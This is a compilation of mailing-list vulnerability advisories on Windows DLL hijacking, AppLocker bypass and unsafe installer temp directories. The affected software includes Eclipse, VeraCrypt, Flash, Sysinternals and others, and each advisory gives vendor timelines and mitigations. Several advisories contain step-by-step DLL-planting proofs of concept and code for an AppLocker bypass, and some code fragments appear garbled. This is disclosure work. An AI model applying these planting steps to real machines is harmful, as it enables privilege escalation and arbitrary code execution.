Hi @ll,
Windows 8 and newer versions (Windows 7 and Windows Server 2008 R2
with KB2532445 or KB3125574 installed too) don't allow unprivileged
callers to circumvent AppLocker and SAFER rules via
LoadLibraryEx(TEXT(""), NULL, LOAD_IGNORE_CODE_AUTHZ_LEVEL);
See <https://msdn.microsoft.com/en-us/library/ms684179.aspx>
and <https://support.microsoft.com/kb/2532445>
| LOAD_IGNORE_CODE_AUTHZ_LEVEL0x0010
|
| If this value is used, the system does not check AppLocker rules
| or apply Software Restriction Policies for the DLL. This action
| applies only to the DLL being loaded and not to its dependencies.
| This value is recommended for use in setup programs that must
| run extracted DLLs during installation.
|
| Windows Server 2008 R2 and Windows 7:
| On systems with KB2532445 installed, the caller must be running
| as "LocalSystem" or "TrustedInstaller"; otherwise the system
| ignores this flag.
Unprivileged users can but bypass AppLocker or SAFER alias Software
Restriction Policies via
STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi = {0};
CreateProcess(TEXT(""), NULL, NULL, NULL, FALSE,
CREATE_PRESERVE_CODE_AUTHZ_LEVEL, NULL, NULL, , );
on ALL versions from Windows XP to Windows 10!
See <https://msdn.microsoft.com/en-us/library/ms684863.aspx>
| CREATE_PRESERVE_CODE_AUTHZ_LEVEL0x0200
|
| Allows the caller to execute a child process that bypasses the
| process restrictions that would normally be applied automatically
| to the process.
Mitigation:
~~~
Create an "AppCert.Dll" that exports CreateProcessNotify and
set the following registry entry
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\AppCertDlls]
"AppCert.Dll"="\AppCert.Dll"
...
Note: AppCertDlls are loaded at the first call of one of the
CreateProcess*() functions. Process creation is denied
if one of them returns STATUS_UNSUCCESSFUL from its
CreateProcessNotify() routine when called with the flag
PROCESS_CREATION_QUERY.
--- APPCERT.C ---
#pragma comment(linker, "/DLL")
#ifdef _WIN64
#pragma comment(linker, "/EXPORT:CreateProcessNotify,PRIVATE")
#else
#pragma comment(linker,
"/EXPORT:CreateProcessNotify=_CreateProcessNotify@8,PRIVATE")
#endif
#pragma comment(linker, "/NOENTRY")
#include
#define PROCESS_CREATION_QUERY 1L
#define PROCESS_CREATION_ALLOWED 2L
#define PROCESS_CREATION_DENIED 3L
NTSTATUS NTAPI CreateProcessNotify(LPCWSTR lpApplicationName, ULONG ulReason)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
switch (ulReason)
{
case PROCESS_CREATION_QUERY:
// called once for each process that is to be created
// return STATUS_SUCCESS to allow process creation or
// return STATUS_UNSUCCESSFUL to deny process creation
if (forbidden(lpApplicationName))
ntStatus = STATUS_UNSUCCESSFUL;
break;
case PROCESS_CREATION_ALLOWED:
// called once for each process that is allowed creation
...
break;
case PROCESS_CREATION_DENIED:
// called once for each process that is denied creation
...
break;
default:
;
}
// the return value is only used for PROCESS_CREATION_QUERY,
// all other conditions are ignored
return ntStatus;
}
--- EOF ---
stay tuned
Stefan Kanthak
Timeline:
~
2017-03-10sent vulnerability report to vendor
2017-03-10reply from vendor: MSRC case 37727 opened
2017-03-13reply from vendor: product team is working on case
2017-03-21reply from vendor:
"The product team has finished their investigation and
determined this will be serviced in a future version
of Windows. AppLocker bypasses are not serviced via
monthly security roll-ups; only major version updates."
2017-03-21<https://support.microsoft.com/kb/2532445> but serviced
a bypass with a hotfix which was incorporated in later
security updates and is included in the "convenience"
rollup <https://support.microsoft.com/en-us/kb/3125574>
2017-03-21reply from vendor:
"If you want this fixed immediately and are an
enterprise customer you'll need to work with your
Account Manager to open a support case."
2017-03-21report published
Executable installers are vulnerable^WEVIL (case 46): Pelles C allows arbitrary code execution
Hi @ll, the executable installers of "Pelle's C", <http://smorgasbordet.com/pellesc/800/setup64.exe> and, <http://smorgasbordet.com/pellesc/800/setup.exe>, available from <http://smorgasbordet.com/pellesc/index.htm>, are vulnerable to DLL hijacking: they load (tested on Windows 7) at least the following DLLs from their "application directory" instead Windows' "system directory": Version.dll, MSI.dll, UXTheme.dll, DWMAPI.dll, RichEd20.dll and CryptBase.dll See <https://cwe.mitre.org/data/definitions/426.html>, <https://cwe.mitre.org/data/definitions/427.html> <https://capec.mitre.org/data/definitions/471.html>, <https://technet.microsoft.com/en-us/library/2269637.aspx>, <https://msdn.microsoft.com/en-us/library/ff919712.aspx> and <https://msdn.microsoft.com/en-us/library/ms682586.aspx> for this well-known and well-documented vulnerability^WBEGINNER'S ERROR! For programs downloaded from the internet the "application directory" is typically the user's "Downloads" directory; see <https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html> and <http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html> If one of the DLLs named above is placed in the users "Downloads" directory (for example per "drive-by download") this vulnerability becomes a remote code execution. JFTR: there is ABSOLUTELY no need for executable installers on Windows! DUMP THIS CRAP! JFTR: naming a program "Setup.exe" is another beginner's error: Windows' does some VERY special things when it encounters this filename! Mitigations: * Don't use executable installers! NEVER! Don't use self-extractors! NEVER! See <http://seclists.org/fulldisclosure/2015/Nov/101> and <http://seclists.org/fulldisclosure/2015/Dec/86> plus <http://home.arcor.de/skanthak/!execute.html> alias <https://skanthak.homepage.t-online.de/!execute.html> for more information. * Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of every "%USERPROFILE%"; use <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to decode it to "deny execution of files in this directory for everyone, inheritable to all files in all subdirectories". stay tuned Stefan Kanthak Timeline: ~ 2017-01-05sent vulnerability report to author no reply, not even an acknowledgement of receipt 2017-01-13resent vulnerability report to author no reply, not even an acknowledgement of receipt 2017-01-21report published
Executable installers are vulnerable^WEVIL (case 41): EmsiSoft's Emergency Kit allows elevation of privilege for everybody
Hi @ll, in response to <http://seclists.org/fulldisclosure/2016/Jan/24> EmsiSoft fixed some of the DLL hijacking vulnerabilities in some of their executable installers and unpackers. EmsisoftEmergencyKit.exe still has beginner's errors which allow escalation of privilege for EVERY local user: 0. while the self-extracting WinRAR archive EmsisoftEmergencyKit.exe doesn't load DLLs from its "application directory" any more, its payload but shows this vulnerability! 1. due to "requireAdministrator" in its application manifest the self-extractor runs with administrative rights, although it neither needs them nor uses them. 2. it creates the directory "%SystemDrive%\EEK" and unpacks its payload into it. JFTR: since it runs with administrative rights the self- extractor could create "%SystemDrive%\EEK" with an ACL that only allows write-access for administrators, or use "%ProgramFiles%\EmsiSoft\Emergency Kit" instead. This directory inherits the ACL of its parent, %SystemDrive%, which allows write access for unprivileged users; they can thus modify all files extracted there or add files, for example a "%SystemDrive%\EEK\Version.dll". Also give NetAPI32.dll, NetUtils.dll, SrvCli.dll, WksCli.dll, PropSys.dll, AppHelp.dll, NTMarta.dll, Secur32.dll, MPR.dll and CSCAPI.dll a try. 3. the programs "%SystemDrive%\EEK\Start Commandline Scanner.exe" and "%SystemDrive%\EEK\Start Emergency Kit Scanner.exe" have "requireAdministrator" in their application manifests too: they load and execute the DLLs named above from "%SystemDrive%\EEK" with administrative rights. 4. the other programs extracted to "%SystemDrive%\EEK\bin32" and "%SystemDrive%\EEK\bin64" and are also run with administrative rights. 5. of course the programs in "%SystemDrive%\EEK\bin32" and "%SystemDrive%\EEK\bin64" load and execute DLLs from their "application directory" (which is writable for everyone) too. And one more: 6. the OpenSSL libraries shipped are from version 1.0.2d and have multiple vulnerabilities which have beed fixed in version 1.0.2j. stay tuned Stefan Kanthak Timeline: ~ 2016-08-29vulnerability report sent to vendor 2016-08-29vendor acknowledges vulnerability, promises to update at least the OpenSSL libraries, and ask the author of WinRAR to add a directive to protect the created EEK directory 2016-11-17vendor fixed NOTHING in the past ELEVEN weeks, and does not react any more -> report published
Defense in depth -- the Microsoft way (part 44): complete failure of Windows Update
Hi @ll,
since more than a year now, Windows Update fails (not only, but most
notably) on FRESH installations of Windows 7/8/8.1 (especially their
32-bit editions), which then get NO security updates at all [°]!
One of the many possible causes: Windows Update Client runs out of
(virtual) memory during the search for updates and yields 0x8007000E
alias E_OUTOFMEMORY ['].
According to <https://support.microsoft.com/en-us/kb/3050265>
| This update addresses an issue in which Windows Update scans can
| fail and generate a 0x8007000E error.
and <https://support.microsoft.com/en-us/kb/3161647>
| Fix for a Windows Update error 0x8007000E on some computers while
| they are updating.
this has been fixed in recent versions of the Windows Update Client.
BUT: Windows Update does NOT get/fetch this updated Windows Update
Client and is stuck!
The first action Windows Update Client performs when it contacts the
update servers (which happens as soon as an internet connection is
available, see <https://support.microsoft.com/en-us/kb/931275>) is to
update itself ... on Windows 7 to version 7.6.7600.320, which is but
COMPLETELY outdated [²]!
Despite the completely outdated version distributed for self-update via
Windows Update, the Windows Update Client makes no further attempts to
update itself; see the following lines from C:\Windows\WindowsUpdate.log:
| 2016-10-06 22:23:01:815 860 dec Agent *
| 2016-10-06 22:23:01:815 860 dec Agent ** START ** Agent: Finding updates
[CallerId = AutomaticUpdates]
| 2016-10-06 22:23:01:815 860 dec Agent *
| 2016-10-06 22:23:01:815 860 dec Agent * Online = Yes; Ignore download
priority = No
| 2016-10-06 22:23:01:815 860 dec Agent * Criteria = "IsInstalled=0 and
DeploymentAction='Installation' or IsPresent=1 and
DeploymentAction='Uninstallation' or IsInstalled=1 and
DeploymentAction='Installation' and RebootRequired=1 or IsInstalled=0 and
DeploymentAction='Uninstallation' and RebootRequired=1"
| 2016-10-06 22:23:01:815 860 dec Agent * ServiceID =
{9482F4B4-E343-43B6-B170-9A65BC822C77} Windows Update
| 2016-10-06 22:23:01:815 860 dec Agent * Search Scope = {Machine}
| 2016-10-06 22:23:01:815 860 dec Setup Checking for agent SelfUpdate
| 2016-10-06 22:23:01:815 860 dec Setup Client version: Core: 7.6.7600.320
Aux: 7.6.7600.320
...
| 2016-10-06 22:23:05:184 860 dec Setup SelfUpdate handler update NOT
required: Current version: 7.6.7600.320, required version:
7.6.7600.320
See <http://home.arcor.de/skanthak/slipstream.html> for instructions
for a fix and some more information!
stay tuned
Stefan Kanthak
[°] since this happens during the search for updates these searches
NEVER finish. As result, Windows Update doesn't notify the user
that Windows is not up-to-date and misses critical/important
security updates!
['] when this happens on FRESH installations of Windows 7, manual
installation of KB3124275 alias MS16-001 (the latest update
for Internet Explorer 8, which is part of Windows 7) helps.
This prunes the search tree sufficiently to avoid this error.
[²] the same holds for <https://support.microsoft.com/en-us/kb/949104>,
titled "How to update the Windows Update Agent to the latest version",
which too offers version 7.6.7600.320 for Windows 7.
ARE YOU SERIOUS, MICROSOFT?
There are at least 10 later versions of the Windows Update Client
for Windows 7: KB3050265, KB3065987, KB3075851, KB3083324, KB3083710,
KB3102810, KB3112343, KB3135445, KB3138612 and KB3161647 (and even
more for Windows 8/8.1)!
Defense in depth -- the Microsoft way (part 45): filesystem redirection fails to redirect the application directory
Hi @ll,
on x64 editions of Windows, RegEdit.exe exists both as
%windir%\regedit.exe and %windir%\SysWOW64\regedit.exe.
<https://msdn.microsoft.com/en-us/library/aa384187.aspx> states
| [...] whenever a 32-bit application attempts to access [...]
| %windir%\regedit.exe is redirected to %windir%\SysWOW64\regedit.exe.
But what is the "application directory" when a 32-bit application
runs %windir%\regedit.exe?
Is it %windir% or %windir%\SysWOW64, i.e. is it determined before
or after the redirection?
Remember that the "application directory" comes first in the
standard/default DLL search order, as documented in
<https://msdn.microsoft.com/en-us/library/ms682586.aspx>
Since the 32-bit system DLLs are located in %windir%\SysWOW64, NOT
in %windir%, this makes a difference...
1. compile the following source as 32-bit program:
--- POC.C ---
#pragma comment(lib, "KERNEL32.LIB")
#pragma comment(linker, "/ENTRY:WinMainCRTStartup")
#pragma comment(linker, "/SUBSYSTEM:Windows")
#include
void WinMainCRTStartup()
{
STARTUPINFO si = {sizeof(STARTUPINFO)};
PROCESS_INFORMATION pi = {0};
if (!CreateProcess("C:\\Windows\\regedit.exe", "* /M",
NULL, NULL, FALSE, 0L, NULL, NULL, , ))
ExitProcess(GetLastError());
if (WaitForSingleObject(pi.hProcess, INFINITE) == WAIT_FAILED)
ExitProcess(GetLastError());
if (!CloseHandle(pi.hThread))
ExitProcess(GetLastError());
if (!CloseHandle(pi.hProcess))
ExitProcess(GetLastError());
ExitProcess(ERROR_SUCCESS);
}
--- EOF ---
2. download <http://home.arcor.de/skanthak/temp/REGEDIT.CAB> and
extract its contents to %windir%:
WUSA.EXE /Extract:REGEDIT.CAB %windir%
(yes, this needs administrative privileges, but that's NOT the
point here).
The 32-bit DLLs in REGEDIT.CAB are transparent proxies: they
export all symbols and ordinals of their counterparts found in
the "system directory" and forward them to these counterparts.
--- FORWARD.C ---
#pragma comment(linker, "/DLL")
#pragma comment(linker, "/ENTRY:_DllMainCRTStartup")
#pragma comment(linker,
"/EXPORT:=System32\\.,@")
...
#pragma comment(linker,
"/EXPORT:=System32\\.#,@,NONAME")
...
#pragma comment(linker, "/SUBSYSTEM:Windows")
#include
BOOL WINAPI _DllMainCRTStartup(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID
lpvReserved)
{
MessageBox(...);
return TRUE;
}
--- EOF ---
See <http://home.arcor.de/skanthak/sentinel.html> for details.
3. run the program compiled in step 1: notice the message boxes
displayed from the DLLs extracted to %windir% in step 2 and
loaded by %windir%\SysWOW64\regedit.exe: the "application
directory" of %windir%\SysWOW64\regedit.exe is %windir%\, NOT
%windir%\SysWOW64\!
Or use the 32-bit NTSD.EXE run %windir%\regedit.exe: you'll see
the message boxes too plus the debugger output as shown in
<http://home.arcor.de/skanthak/temp/REGEDIT.TXT>
4. finally use the 64-bit NTSD.EXE to run %windir%\regedit.exe:
see <http://home.arcor.de/skanthak/temp/REGEDIT.LOG> for the
debugger output.
Notice that the 32-bit forwarder DLLs are loaded in the 64-bit
process and that their exports/forwards are processed properly!
Their DllMain() extry points are but NOT called (if they were
you'd see some message boxes)!
stay tuned
Stefan Kanthak
PS: the test whether 64-bit forwarder DLLs placed in %windir% are
loaded in the 32-bit process %windir%\SysWOW64\regedit.exe is
left as an exercise to the reader.
Defense in depth -- the Microsoft way (part 42): Sysinternals utilities load and execute rogue DLLs from %TEMP%
Hi @ll, several of Microsoft's Sysinternals utilities extract executables to %TEMP% and run them from there; the extracted executables are vulnerable to DLL hijacking, allowing arbitrary code execution in every user account and escalation of privilege in "protected administrator" accounts [*]. * CoreInfo.exe: extracts on x64 an embedded CoreInfo64.exe to %TEMP% which loads %TEMP%\VERSION.DLL (on Windows Vista and newer) and executes it with the callers credentials. * Disk2VHD.exe: extracts on Windows 2003 and newer, both x86 and x64, an embedded Disk2VHD-tmp.exe to %TEMP% which loads %TEMP%\UXTHEME.DLL %TEMP%\VERSION.DLL (on Windows Vista and newer), and executes it with administrative privileges on Windows Vista and newer, and with the callers credentials on Windows 2003. * DiskView.exe: extracts on x64 an embedded DiskView64.exe to %TEMP% which loads %TEMP%\UXTHEME.DLL and executes it with administrative privileges on Windows Vista and newer, and with the callers credentials on Windows 2003 and Windows XP. * ProcMon.exe: extracts on x64 an embedded ProcMon64.exe to %TEMP% which loads %TEMP%\UXTHEME.DLL, %TEMP%\VERSION.DLL (on Windows Vista and newer), and executes it with the callers credentials. * RAMMap.exe: extracts on x64 an embedded RAMMap64.exe to %TEMP% which loads %TEMP%\SETUPAPI.DLL (on Windows 2003), %TEMP%\UXTHEME.DLL, %TEMP%\VERSION.DLL (on Windows Vista and newer), and executes them with administrative privileges on Windows Vista and newer, and with the callers credentials on Windows 2003. * VMMap.exe: extracts on x64 an embedded VMMap64.exe to %TEMP% which loads %TEMP%\CLBCATQ.DLL (on Windows 2003), %TEMP%\SETUPAPI.DLL (on Windows 2003), %TEMP%\UXTHEME.DLL, %TEMP%\VERSION.DLL (on Windows Vista and newer), and executes them with the callers credentials. * ZoomIt.exe: extracts on x64 an embedded ZoomIt64.exe to %TEMP% which loads %TEMP%\SETUPAPI.DLL (on Windows 2003), %TEMP%\UXTHEME.DLL, %TEMP%\VERSION.DLL (on Windows Vista and newer) and executes them with the callers credentials. See <https://cwe.mitre.org/data/definitions/426.html>, <https://cwe.mitre.org/data/definitions/427.html>, <https://cwe.mitre.org/data/definitions/277.html>, <https://cwe.mitre.org/data/definitions/379.html> and <https://cwe.mitre.org/data/definitions/732.html> for these WELL-KNOWN and WELL-DOCUMENTED vulnerabilities^Wbeginner's errors! Mitigations: * Don't use these vulnerable utilities (or other crapware which runs executables from unsafe directories like %TEMP%)! * Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of "%TEMP%"; use <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to decode it to "deny execution of files in this directory for everyone, inheritable to all files in all subdirectories". stay tuned Stefan Kanthak [*] according to Microsoft's own SIR reports, more than half of the Windows installations which send telemetry data have only one active user account, i.e. some hundred million Windows installations are susceptible to this design bug! Timeline: ~ 2015-11-02vulnerability report sent to author and vendor NO REPLY from author 2015-11-17vendor replies, opens MSRC case 31724 2016-01-29vendor replies, closes MSRC case 31724: WONTFIX 2016-08-11report published
Defense in depth -- the Microsoft way (part 41): vulnerable by (poor implementation of bad) design
rd user accounts with DISABLED UAC-elevation. * Practice STRICT privilege separation: UAC is a VERY BAD joke! * Add an ACE "(D;OIIO;WP;;;WD)" to the ACL of "%TEMP%"; use <https://msdn.microsoft.com/en-us/library/aa374928.aspx> to decode it to "deny execution of files in this directory for everyone, inheritable to all files in all subdirectories". stay tuned Stefan Kanthak [*] according to Microsoft's own SIR reports, more than half of the Windows installations which send telemetry data have only one active user account, i.e. some hundred million Windows installations are susceptible to this design bug! Timeline: ~ 2016-05-31vulnerability report sent to vendor 2016-06-02vendor replies, opens MSRC Case 33699 no more replies for 6 long weeks, despite <http://home.arcor.de/skanthak/policy.html> 2016-07-14status request sent to vendor 2016-07-15vendor replies: "DISM will create a temporary directory inside the administrators %TEMP%, which normal/standard users do NOT have access to. As such, we are resolving this as 'by design'." 2016-07-15OUCH! "There is no separate 'administrators' %TEMP% in the default user account created during Windows setup!" NO RESPONSE 2016-07-23report published
Executable installers are vulnerable^WEVIL (case 37): eclipse-inst-win*.exe vulnerable to DLL redirection and manifest hijacking
Hi @ll, this is a followup to "case 36" (posted as "case 35" by mistake), <http://seclists.org/bugtraq/2016/Jul/82>. Proof of concept #1: 1. On a 64-bit edition of Windows download the 32-bit and 64-bit executable installers "eclipse-inst-win32.exe" and "eclipse-inst-win64.exe", save them in an arbitrary directory. 2. Create the (empty) files "eclipse-inst-win32.exe.local" and "eclipse-inst-win64.exe.local" in the directory where you saved the downloaded installers: Copy NUL: eclipse-inst-win32.exe.local Copy NUL: eclipse-inst-win64.exe.local 3. Create empty files kernel32.dll, kernelbase.dll, advapi32.dll, msvcrt.dll, ..., version.dll in the directory where you saved the downloaded installers. 4. Execute the downloaded installers. DOSSED! 5. Replace the empty DLLs created in step 3 with (malicious) DLLs of your choice. 6. Execute the downloaded installer which matches the processor architecture of the DLLs placed in step 5. PWNED! Proof of concept #2: 1. On a 64-bit edition of Windows download the 32-bit and 64-bit executable installers "eclipse-inst-win32.exe" and "eclipse-inst-win64.exe", save them in an arbitrary directory. 2. Create the subdirectories "eclipse-inst-win32.exe.local" and "eclipse-inst-win64.exe.local" in the directory where you saved the downloaded installers. 3. Copy any (malicious) DLL of your choice as kernel32.dll, kernelbase.dll, advapi32.dll, msvcrt.dll, ..., version.dll into the subdirectories created in step 2 (32-bit DLLs into "eclipse-inst-win32.exe.local", 64-bit DLLs into "eclipse-inst-win64.exe.local"). 4. Execute the downloaded installers. DOSSED or PWNED! Proof of concept #3: 1. On a 64-bit edition of Windows download the 32-bit and 64-bit executable installers "eclipse-inst-win32.exe" and "eclipse-inst-win64.exe", save them in an arbitrary directory. 2. Create the junctions "eclipse-inst-win32.exe.local" and "eclipse-inst-win64.exe.local" in the directory where you saved the downloaded installers: MkLink /J eclipse-inst-win32.exe.local %SystemRoot%\System32 MkLink /J eclipse-inst-win64.exe.local %SystemRoot%\SysWow64 3. Execute the downloaded installers. DOSSED! 4. Create the two junctions to directories with malicious DLLs of your choice if you want to get pwned instead. 5. Execute the downloaded installers. PWNED! Proof of concept #4: 1. On a 64-bit edition of Windows download the 32-bit and 64-bit executable installers "eclipse-inst-win32.exe" and "eclipse-inst-win64.exe", save them in an arbitrary directory. 2. Create the files "eclipse-inst-win32.exe.manifest" and "eclipse-inst-win64.exe.manifest" with the following contents in the directory where you saved the downloaded installers: --- eclipse-inst-win*.exe.manifest --- --- EOF --- 3. Execute the downloaded installers. DOSSED! Proof of concept #5: 1. On a 64-bit edition of Windows download the 32-bit and 64-bit executable installers "eclipse-inst-win32.exe" and "eclipse-inst-win64.exe", save them in an arbitrary directory. 2. Create the files "eclipse-inst-win32.exe.manifest" and "eclipse-inst-win64.exe.manifest" with the following contents in the directory where you saved the downloaded installers: --- eclipse-inst-win*.exe.manifest --- --- EOF --- 3. Execute the downloaded installers: Windows "user account control" will prompt for elevation, all hijacked DLLs will be executed with administrative privileges. PWNED! Proof of concept #6: 1. On a 64-bit edition of Windows download the 32-bit and 64-bit executable installers "eclipse-inst-win32.exe" and "eclipse-inst-win64.exe", save them in an arbitrary directory. 2. Create the files "eclipse-inst-win32.exe.manifest" and "eclipse-inst-win64.exe.manifest" with the following contents in the directory where you saved the downloaded installers: --- eclipse-inst-win32.exe.manifest --- --- EOF --- --- eclipse-inst-win64.exe.manifest --- --- EOF --- Optionally add more elements for other DLLs loaded by the installers as you like. 3. Execute the downloaded installers. DOSSED! 4. Replace the UNC pathnames to your own host with UNC paths to any host reachable from your network where you placed some malicious DLLs to get pwned instead. 5. Execute the downloaded installers. PWNED! 6. Add the element from poc#5 to achieve remote code execution with (user-assisted) escalation of privilege. 7. Execute the downloaded installers. PWNED²! stay tuned Stefan Kanthak
Executable installers are vulnerable^WEVIL (case 35): eclipse-inst-win*.exe vulnerable to DLL and EXE hijacking
Hi @ll,
eclipse-inst-win32.exe (and of course eclipse-inst-win64.exe
too) loads and executes multiple DLLs (in version 4.5 also
CMD.EXE) from its "application directory".
* version 4.5 ("Mars") on Windows 7:
UXTheme.dll, WindowsCodecs.dll, AppHelp.dll, SrvCli.dll,
Slc.dll, NTMarta.dll, ProfAPI.dll, SAMLib.dll
* version 4.6 ("Neon") on Windows 7:
IEFrame.dll, Version.dll
* version 4.5 on Windows XP:
ClbCatQ.dll, SetupAPI.dll, UXTheme.dll, RichEd20.dll
(version 4.6 not tested on Windows Embedded POSReady 2009
alias Windows XP).
For the vulnerable command line "cmd /c start " see
<https://technet.microsoft.com/en-us/library/ms14-019.aspx>
and CVE-2014-0315
For software downloaded with a web browser the application
directory is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for
"prior art" about this well-known and well-documented vulnerability.
If an attacker places the DLLs named above and/or CMD.EXE in the
users "Downloads" directory (for example per drive-by download
or social engineering) this vulnerability becomes a remote code
execution.
Proof of concept/demonstration:
~~~
On a fresh (but fully patched) Windows installation (where a Java
Runtime is NOT installed) perform the following actions:
1. visit <http://home.arcor.de/skanthak/sentinel.html>, download
<http://home.arcor.de/skanthak/download/SENTINEL.DLL>, save it
as UXTheme.dll in your "Downloads" directory, then copy it as
RichEd20.dll, SetupAPI.dll, ClbCatQ.dll, WindowsCodecs.dll,
AppHelp.dll, SrvCli.dll, Slc.dll, NTMarta.dll, ProfAPI.dll,
SAMLib.dll, IEFrame.dll, Version.dll;
2. Download <http://home.arcor.de/skanthak/download/SENTINEL.EXE>
and save it as CMD.EXE in your "Downloads" directory;
3. download eclipse-inst-win32.exe and save it in your "Downloads"
directory;
4. run eclipse-inst-win32.exe per double-click from your "Downloads"
directory;
5. click [Yes] in the message box
| Eclipse Installer
| (?) The required 32-bit Java 1.7.0 virtual machine could not be found.
| Do you want to browse your system for it?
6. notice the message boxes displayed from the DLLs placed in step 1
and CMD.EXE placed in step 2.
PWNED!
See <http://seclists.org/fulldisclosure/2015/Nov/101> and
<http://seclists.org/fulldisclosure/2015/Dec/86> as well as
<http://home.arcor.de/skanthak/sentinel.html> and the not yet
finished <http://home.arcor.de/skanthak/!execute.html> for details
about these well-known and well-documented BEGINNER'S errors!
Mitigation:
~~~
DUMP executable installers, build packages for the target OS' native
installer instead!
See <http://home.arcor.de/skanthak/!execute.html>
as well as <http://home.arcor.de/skanthak/sentinel.html> for the long
sad story of these vulnerabilities.
stay tuned
Stefan Kanthak
Timeline:
~
2016-02-12vulnerability report sent to Eclipse Foundation
NO RESPONSE
2016-02-22vulnerability report resent to Eclipse Foundation
2016-02-23answer from Eclipse Foundation:
"we investigate"
2016-02-24provided guidance to fix both vulnerabilities
2016-02-28developer opens bug <https://bugs.eclipse.org/488644>
2016-07-01second vulnerability report sent to Eclipse Foundation:
recently released installer 4.6 "Neon" still vulnerable!
2016-07-12answer from developer:
"We analyzed this again and came to the conclusion
that the code of our installer is now safe (i.e.,
with the fix from bug 488644). Indications are that
your new check shows a problem much later in the
process and that the list of loaded DLLs is totally
different (i.e., not the one that you originally
reported).
Moreover we're convinced that it is a security problem
in rundll32.exe itself."
2016-07-12OUCH!
It's DEFINITIVELY your "fixed" installer which STILL
loads DLLs from its application directory; it's NOT
safe, but VULNERABLE!
NO RESPONSE
2016-07-19report published
[CVE-2016-1281] NOT FIXED: VeraCrypt*Setup*.exe still vulnerable to DLL hijacking
Hi @ll,
this is basically a followup to <http://seclists.org/oss-sec/2016/q1/58>
CVE-2016-1281 is NOT FIXED!
I've retested the current "VeraCrypt Setup 1.17.exe" on a fully
patched Windows 7, and it is STILL (or AGAIN) vulnerable there.
The following DLLs are loaded from the "application directory"
and their DllMain() executed: VSSAPI.dll, ATL.dll, VSSTrace.dll.
See <https://cwe.mitre.org/data/definitions/426.html>,
<https://cwe.mitre.org/data/definitions/427.html> and
<https://capec.mitre.org/data/definitions/471.html> for details
about this well-known and well-documented beginner's error!
Due to the application manifest embedded in the executable installer
which specifies "requireAdministrator" the installer is run with
administrative privileges ("protected" administrators are prompted
for consent, unprivileged standard users are prompted for an
administrator password); execution of the DLLs therefore results
in an escalation of privilege!
For software downloaded with a web browser the "application
directory" is typically the user's "Downloads" directory: see
<https://insights.sei.cmu.edu/cert/2008/09/carpet-bombing-and-directory-poisoning.html>,
<http://blog.acrossecurity.com/2012/02/downloads-folder-binary-planting.html>
and <http://seclists.org/fulldisclosure/2012/Aug/134> for prior
art!
Mitigation:
~~~
DUMP executable installers, build packages for the target OS' native
installer instead!
See <http://home.arcor.de/skanthak/!execute.html>
as well as <http://home.arcor.de/skanthak/sentinel.html> for the long
sad story of these vulnerabilities.
stay tuned
Stefan Kanthak
Timeline:
~
2015-12-23vulnerability report sent to author
2016-01-03author confirmed vulnerability, got CVE-2016-1281
worked with author until he finally was able to build
an installer which didn't show this vulnerability.
Also notified author:
"as soon as Microsoft introduces new/other dependencies
between Windows' system DLLs or refactors them (again)
this vulnerability will VERY likely resurface again."
2016-01-11report published by author (see above)
2016-07-01vulnerability report sent to author ("I told you so!")
NO RESPONSE
2016-07-17report published
[CVE-2016-1014, CVE-2016-4247] Executable installers are vulnerable^WEVIL (case 35): Adobe's Flash Player (un)installers
Hi @ll, the executable installers of Flash Player released 2016-06-15 fixed CVE-2016-1014 in the second attempt, but another vulnerability remained: they create(d) and use(d) UNSAFE temporary subdirectories into which they copy/ied themselves and extract(ed) a file "fpb.tmp" which they load(ed) and execute(d) later with elevated privileges. An unprivileged user can/could overwrite both files between creation and execution and gain elevation of privilege. See <https://cwe.mitre.org/data/definitions/379.html> for this type of well-known and well-documented vulnerability! stay tuned Stefan Kanthak Timeline: ~ 2016-03-12initial report sent to Adobe PSIRT 2016-03-13Adobe PSIRT acknowledges vulnerability and assigns PSIRT-4904 2016-04-06Adobe PSIRT informs about CVE assigned and upcoming fix scheduled for release later that week 2016-04-17notification sent to Adobe PSIRT: fix is incomplete, vulnerability persists 2016-04-17Adobe PSIRT acknowledges receipt of second report 2016-04-17Adobe PSIRT acknowledges vulnerability ... again 2016-06-17Adobe released fixed Flash Player (un)installers, report for CVE-2016-1014 published 2016-06-17new report sent to Adobe PSIRT: unsafe TEMP directory allows escalation of privilege 2016-06-17Adobe PSIRT acknowledges receipt 2016-06-17Adobe PSIRT acknowledges vulnerability and assigns PSIRT-5480 2016-07-10Adobe PSIRT informs about CVE assigned and upcoming fix scheduled for release later this week 2016-07-12Adobe released fixed Flash Player (un)installers, report for CVE-2016-4247 published
Executable installers are vulnerable^WEVIL (case 34): Microsoft's vs-community-*.exe susceptible to DLL hijacking
Hi @ll, the executable installer for Microsoft's Visual Studio 2015 Community Edition, available from <https://www.visualstudio.com/>, is vulnerable to DLL hijacking: on a fully patched Windows 7 SP1 it loads the following DLLs from its "application directory" instead of Windows' "system directory": Version.dll, AppHelp.dll, NTMARTA.dll, CryptSP.dll, RPCRTRemote.dll Additionally it loads API-MS-Win-Downlevel-ShlWAPI-L2-1-0.dll from the PATH. See <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-0148> or <https://technet.microsoft.com/library/security/MS16-041> and <https://www.securify.nl/advisory/SFY20160201/_net_framework_4_6_allows_side_loading_of_windows_api_set_dll.html> for a similar vulnerability. stay tuned Stefan Kanthak Timeline: ~ 2016-06-01sent vulnerability report to vendor plus US-CERT NO RESPONSE from vendor, not even an acknowledgement of receipt 2016-06-07US-CERT tells me that Microsoft informed them that they won't act on this report still no response from vendor 2016-07-01report published
[CVE-2016-1014] Escalation of privilege via executable (un)installers of Flash Player
Hi @ll,
the executable (un)installers for Flash Player before version
22.0.0.192 and 18.0.0.360 (both released on 2016-06-15) are
vulnerable to DLL hijacking: they load and execute multiple
Windows system DLLs from their "application directory" instead
of Windows' "system directory" %SystemRoot%\System32\.
